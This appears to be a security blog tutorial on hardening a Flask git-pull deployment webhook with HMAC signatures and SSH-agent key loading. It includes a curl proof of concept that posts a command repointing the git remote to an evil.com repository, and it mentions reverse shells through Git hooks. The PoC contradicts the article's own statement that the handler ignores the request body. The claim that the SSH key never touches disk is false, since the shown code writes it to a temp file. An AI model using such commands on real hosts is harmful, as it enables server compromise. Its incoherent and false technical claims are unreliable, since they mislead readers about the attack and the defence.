Introduction – the silent entry point
Continuous deployment pipelines often rely on HTTP callbacks that fire whenever a repository changes. A convenient shortcut is to expose a public endpoint that accepts a POST request and immediately runs git pull on the target host. While this pattern looks harmless, the lack of authentication turns the endpoint into a low‑cost attack surface. In this article we dissect the hidden internals of an unauthenticated webhook, demonstrate how an attacker can hijack the process, and then walk through a hardened implementation that validates payloads with HMAC signatures and isolates SSH credentials.
What the insecure setup looks like
A typical “quick‑and‑dirty” deployment script might be hosted on a small VM, listening on port 8080 with a tiny Flask (Python) app. The code below is a common starting point you will find in many blog posts and internal wikis.
#!/usr/bin/env python3
from flask import Flask, request
import subprocess
app = Flask(__name__)
@app.route('/deploy', methods=['POST'])
def deploy():
# No authentication – any POST triggers a pull
result = subprocess.run(
['git', 'pull', 'origin', 'main'],
cwd='/var/www/app',
capture_output=True,
text=True
)
return result.stdout or 'No output', 200
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
The script performs a plain git pull without checking who sent the request. An attacker who discovers the endpoint (by scanning common ports or guessing the URL) can send a crafted payload that forces the repository to fetch a malicious commit, or even replace the remote URL entirely. Because the script runs with the same privileges as the web server, the attacker can also execute arbitrary shell commands through Git hooks.
How an attacker exploits the endpoint
The exploitation chain usually follows three steps:
- Discover the public endpoint (e.g.,
http://example.com:8080/deploy). - Send a POST request that includes a specially crafted
.git/configchange, or pushes a malicious commit to the repository. - Leverage Git hook execution (e.g.,
post-receive) to run a reverse shell or drop a backdoor.
Below is a minimal proof‑of‑concept that replaces the remote URL with an attacker‑controlled server and then pulls a trojaned repository.
curl -X POST http://example.com:8080/deploy \
-d '{"command":"git remote set-url origin https://evil.com/malicious.git && git pull"}'
Because the Flask handler ignores the request body, the attacker can embed any shell‑compatible string into a git alias or use a crafted Git hook already present in the repository. The result is a fully compromised production host with minimal effort.
Hardening the webhook – HMAC verification
The first line of defense is to make the endpoint reject any request that does not carry a verifiable signature. Most source‑control platforms (GitHub, GitLab, Bitbucket) already support HMAC‑signed webhooks. The server must share a secret with the platform and recompute the signature for each incoming payload.
#!/usr/bin/env python3
import hmac
import hashlib
import os
from flask import Flask, request, abort
import subprocess
app = Flask(__name__)
WEBHOOK_SECRET = os.environ.get('WEBHOOK_SECRET').encode()
def verify_signature(payload, signature):
mac = hmac.new(WEBHOOK_SECRET, msg=payload, digestmod=hashlib.sha256)
expected = 'sha256=' + mac.hexdigest()
return hmac.compare_digest(expected, signature)
@app.route('/secure-deploy', methods=['POST'])
def secure_deploy():
signature = request.headers.get('X-Hub-Signature-256')
if not signature or not verify_signature(request.data, signature):
abort(403, 'Invalid signature')
# Run only the safe command
result = subprocess.run(
['git', 'fetch', '--quiet'],
cwd='/var/www/app',
capture_output=True,
text=True
)
# Reset to known good state
subprocess.run(['git', 'reset', '--hard', 'origin/main'],
cwd='/var/www/app')
return 'Deployment completed', 200
if __name__ == '__main__':
app.run(host='127.0.0.1', port=8081)
This version:
- Rejects any request lacking a valid
X‑Hub‑Signature‑256header. - Uses
git fetchfollowed by a hard reset, eliminating the chance for a maliciousgit pullto execute unintended hooks. - Runs on the loopback interface, assuming a reverse proxy (e.g., Nginx) terminates TLS and forwards only trusted traffic.
Isolating SSH credentials – the “no‑key‑in‑code” rule
Many pipelines still embed an SSH private key directly in the repository or in the deployment script. This practice is dangerous because the key can be exfiltrated through log leakage or accidental commit. Instead, store the key in a dedicated secrets manager (AWS Secrets Manager, HashiCorp Vault) and load it at runtime into an in‑memory SSH agent.
# Load the SSH key from environment (injected by the orchestrator)
import base64, subprocess, os, tempfile
def start_ssh_agent():
out = subprocess.check_output(['ssh-agent', '-s']).decode()
for line in out.splitlines():
if line.startswith('SSH_AUTH_SOCK'):
os.environ['SSH_AUTH_SOCK'] = line.split('=')[1].strip(';')
elif line.startswith('SSH_AGENT_PID'):
os.environ['SSH_AGENT_PID'] = line.split('=')[1].strip(';')
def add_key():
key_b64 = os.getenv('DEPLOY_SSH_KEY_B64')
if not key_b64:
raise RuntimeError('SSH key not provided')
key = base64.b64decode(key_b64)
with tempfile.NamedTemporaryFile(delete=False) as tf:
tf.write(key)
tf.flush()
subprocess.check_call(['ssh-add', tf.name])
os.unlink(tf.name)
start_ssh_agent()
add_key()
The script above expects the private key to be supplied as a base64‑encoded environment variable, which most CI/CD runners can inject securely. The key never touches the filesystem in clear text, and it is automatically removed when the agent process exits.
Security and Best Practices
Network isolation: Place the webhook listener behind a firewall and restrict inbound traffic to the IP range of your VCS provider. Use TLS termination at a reverse proxy to enforce strong ciphers.
Minimal privileges: Run the Flask app under a non‑root user with read‑only access to the repository directory. The SSH agent should have a key limited to git operations only.
Audit logging: Record the full request headers and a hash of the payload for each invocation. Store logs in an immutable store (e.g., CloudWatch Logs with retention policies) to aid forensic analysis.
“A single unauthenticated endpoint can become the backdoor into an entire production environment. Verification is not optional.”
Conclusion
The convenience of a public webhook can be seductive, but without proper authentication and credential isolation it is a hidden liability. By integrating HMAC verification, restricting the commands that a webhook may execute, and loading SSH keys from a secure vault, you transform an open door into a controlled entry point. The code examples above illustrate how a few disciplined steps can dramatically raise the security posture